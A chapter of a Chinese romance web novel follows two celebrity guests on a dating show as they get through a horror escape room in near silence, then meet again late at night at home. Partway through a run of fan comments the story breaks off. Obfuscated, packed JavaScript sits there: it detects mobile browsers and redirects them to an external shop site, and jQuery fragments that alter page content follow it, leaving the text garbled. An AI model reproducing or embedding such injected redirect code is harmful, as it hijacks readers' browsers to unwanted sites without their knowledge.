邱拾穗踏入演播厅，大部分嘉宾都已经就位了，郭晓在和角落里的导演对着台本。
看她走进来，时青淡淡地瞟了她一眼，很快又错开了视线，又忙着低头翻看着眼前的台本，神态是一丝不苟的认真。
这一瞥，让邱拾穗觉得很微妙又陌生。
她脑海里乍然冒出了高三那年那个沉默寡言的时青。
难道仅仅是半个月没有见到了，好不容易熟络起来的友谊又要重新建立了吗？
开始录制前，郑林瑶身后的造型师用粉扑帮她补妆，郑林瑶也没闲下来，一直在和一旁的时青交流。
也不知道在聊什么，郑林瑶的嘴角挂都挂不住。
有本事开麦聊啊。
与郑林瑶情绪相反，邱拾穗觉得一阵烦闷涌上胸口。
付橙也换好妆造，坐在了圆桌前，他一脸阳光地凑上来：“穗穗，你看到节目组群里的消息吗？等下录完节目一起去聚餐嘛，大家都去。”
“看到了，我今天没空哦，因为我最近在戏剧学院上课，今晚还要交作业呢。”
“我去，我在网上看到有消息说你最近在上课，你来真的啊？”
“嗯，基本上除了这个节目录制，我基本都会在上课。”
“好吧，我单独约你的时候你也拒绝我，节目组一起去吃饭你也不去，我可太难过了。”
邱拾穗想，他这张纯真的脸可真适合撒娇啊，拥有人畜无害的长相简直可以不费吹灰之力赢得路人缘。
她礼貌应答：“下次吧，等我忙完了期中考试再请大家吃饭。”
“穗穗，你……能不能只请我啊。”
“咱们俩还是不要单独吃饭比较好，毕竟你现在走偶像演员路线，咱们前两年合作的，到现在绯闻还没有消停呢。”
邱拾穗和付橙两年合作过一部小成本网剧，小甜剧的受众有限，但是能圈住特定范围的CP粉。CP粉总可以寻着蛛丝马迹去得到自己任何想要的结论。
时至今日，邱拾穗的词条后还会跟着付橙的名字。
上午，节目录制有条不紊地进行中。
本期节目的内容主要是男女嘉宾两两约会，抽签决定约会的内容，有双人蹦极、恐怖密室、复杂迷宫，都是有着极强感官冲击的约会项目。
专家袁楚分享说人在高压力或者受到刺激的环境下，会容易将紧张、刺激的情绪误解为附近人的吸引人，这就是所谓“吊桥效应。”
正是因为节目组可以制造的“心动”从而导致这期的心动线格外好猜，大家基本上都会选择和自己“患难与共”的嘉宾。
大家都猜对了，除了邱拾穗。
袁楚打趣着说她在感情上中总有一种钝感力，可以更敏锐一些，不过钝感力也有钝感力的好处。
郑林瑶插话：“以后就和邱拾穗的猜测反着来就好了。”
众人哄笑。
邱拾穗无奈地陪笑。
看完本期心动嘉宾相处故事后，万万没想到节目组还特意为观察室嘉宾准备了额外的环节，让观察室嘉宾都体验一下特制约会项目。
看得出来节目组想炒CP的心溢于言表了，尤其是最近节目热度大，得多多制造加更内容来维持节目的话题度。
从心动嘉宾到观察室嘉宾，节目组都不愿放过。
抽签决定两两分组时，郭晓向三位男生提供了抽签用的小球，让他们来抽取。
尽管时青的耳麦里有导演组的指令要他选红色的那个球。
但他充耳不闻，自顾自地将手伸向了黄色的小球。
掰开小球一看，上面写着——
邱拾穗。
时青挑了挑眉。
付橙打开后是一脸隐藏不住的失望。
根据抽签结果，邱拾穗和时青被节目组分配去了恐怖密室。
一直到进入密室，两个人都没有任何交流。
甚至在开始游戏之后，也是如此。
这对搭档完全没有玩出节目组想要的效果，恐怖密室节目效果，一个都没有制造。
恐怖密室的精髓之一，在于恐怖。
在一方害怕之时，有一方会挺身而出将其护在身后，说一些安抚的言语，给予对方可靠的支撑。
这是一个民国恐怖故事的本子，一个头戴红花、盘着发、身穿华服的女子突然把自己的脑袋掰下来，变成了头戴白花、披头散发、衣着丧服的女鬼，还爬到了邱拾穗的脚下，抓着她的脚使劲晃动。
邱拾穗岿然不动，蹲在地上，在旁边试着保险箱密码的位数。
密室里光线很暗，她需要集中注意力才能看清保险箱上的数字。
保险箱不断地发出了嘀嘀嘀声。
“6位数。”通过密码箱的报错指令可以得出密码位数。
女鬼不服气，将自己凑近到邱拾穗脸上，张牙舞爪了一番。
邱拾穗拂了拂自己马尾，又用手摸了摸她的头，“乖，别吵我。”
“你别说，你发质还挺好的。”
把本在活动中的女鬼都给整愣住了，静止在原地，然后再灰溜溜退场。
黑暗中时青不经意地嗤笑了一声。
他咬着发着微弱光的手电筒，蹲在一旁的稻草堆里翻弄着线索，发现稻草上有不易被人发现的数字，找到之后递给邱拾穗。
“试试这个，6位数。”
她没有吭声，输入他递过来的密码，两人轻松地进入了下一个房间。
恐怖密室的精髓之二，在于密。
复杂的解密过程应该是要两个人寻找线索，互相讨论，一起拼凑正确答案，在一来一回中发生思想碰撞。
但是这两人都不需要讨论。
时青观察力强，轻松找到需要破关的机关，又有良好的体力，可以够到需要操作的机械设备。
邱拾穗面对复杂的问题，尤其是计算类的，甚至都不需要草稿纸，便能很快得出答案。
她冥思苦想半天。
“4.30？这是什么意思？”
时青环顾了一会，踮脚在头顶的时钟上转动时钟和分针，空旷的空间里传来机械链条转动的声音。
“门开了。”
两人重新遁入光明。
遇到听音识曲，再在钢琴上弹奏出来，这是时青的专业领域，一分钟以内就解决这一关卡。
两个人全程对话不多，仅限于“给你”、“给我”、“这里”、“下一个”。
几十分钟，就轻松逃脱了这一个恐怖密室。
节目组预设的尖叫、焦头烂额、惶恐无措、相互支持都没有发生。
这给广大网友们提供了不少乐子。
【这两个人真的笑死我了，真就一点火花都没有啊。节目组怎么想的，让他们分一组，反向组CP？】
【我觉得节目组剪辑师肯定也很绝望，这幸好没有在正片里放。】
【没想到邱拾穗做数学题真的那么厉害，以前怎么不营销这个，新想出的人设？】
【隔壁付橙和郑林瑶双人蹦极的时候更尬好吧，我都在替他们脚趾抠地，节目组
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762059|145588||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是这么玩的哦～】
【只有我一个人觉得这两个人配合得很好嘛，你不言我不语，主打的就是默契在。】
【楼上的，只有你一个人，这么硬的糖只有你嗑得下去。】
从密室出来之后，工作人员也接连着散场。
时青插着兜，助理小左站在一旁为他打开了保姆车的车门。
他踱步准备屈膝迈入保姆车，一只脚又施施然地缩了回来。
“晚上大家都去聚餐，你不去？”
“不了吧，作业没写完，得回去赶作业。”
他没有回什么，只是默默走开了。
邱拾穗想开口说些什么，又不知道该说些什么。
只是看着他的背影，背脊一如既往的笔直挺拔，但垂下去的肩膀让人有种说不上来的颓感。
然后时青弓着腰登上了一旁的保姆车，车辆汇入河流，隐没在日落后的霓虹。
太阳也同时落下去了，泯灭了最后一丝光线。
/
不过邱拾穗故意不合群，是今天的作业任务确实有点重。
不仅要看完一部电影，还要写一篇千字电影读后感提交到老师邮箱。
她喜欢窝在客厅刷完一部又一部的电影，可以窥见他人极速压缩的人生，能通过16比9的屏幕跨越湖海山川，将其叠加在自己为数不多的人生经验上。
今天要赏析的电影是温川导演的《少年》。
这部电影是一个男孩成长史诗，与其他所有影片不同的地方在于，温川导演拍了整整十年。
他在等待男孩长大，用同一张脸的不同时期来表达少年的成长故事，通过时间的魔法让故事更有真实感。温川曾凭此部电影获得个威尼斯电影节最佳导演。
从第一个镜头的青葱少年再到影片最后定格的硬朗男人脸庞，相似又截然不同。
这种艺术与人生交织的感觉，打破了电影与观众之间的一堵墙，让作品在现实视角又多了一份厚度。
邱拾穗先沉浸式地看完整部影片，将双腿盘起来，电脑放在腿上敲敲打打，从电影结构、细节和价值依次赏析。
写了一千字之后，邱拾穗觉得自己眼皮沉沉，将背脊倚在沙发的柔软靠背上。
笔记本电脑被她随意地扔到一旁。
今天一整天的行程着实有些累。
就眯十分钟好了。
时青聚餐完，十二点才到家。
输入了两次密码才输对，他有些恼，推开家门，将鞋踢在玄关，才踢去一身疲意。
客厅传来幽暗的光，投影仪的光线还在不断变化。
邱拾穗睡得很香，本挽起的花苞盘发已全部散落肩头，胸口起伏带动的呼吸声匀称，随着睡姿的变动，睡衣的下摆褪到了雪白纤细的大腿根部。
时青呼吸重了，别过了头，在沙发另一端拿起毛毯，提着毛毯的两个角准备帮邱拾穗盖上。
毛毯还未完全落下。
睫羽翕动，两个人的视线在晦暗中撞了个满怀。
她目光炯炯，看不出一丝倦意，似乎就是在故意等着这一刻。
等了很久了。
邱拾穗手指收紧，一只手撑在身后，借力挺直了腰背，一只手扯了扯睡裙的下摆。
“你最近很忙？”
“我在家都见不到你。”
“挺忙的。”他顺势坐下。
邱拾穗感觉身旁沙发有一块凹陷进去，皮质沙发被摩擦发出窸窣响动。
“喂，你是不是......在躲我？”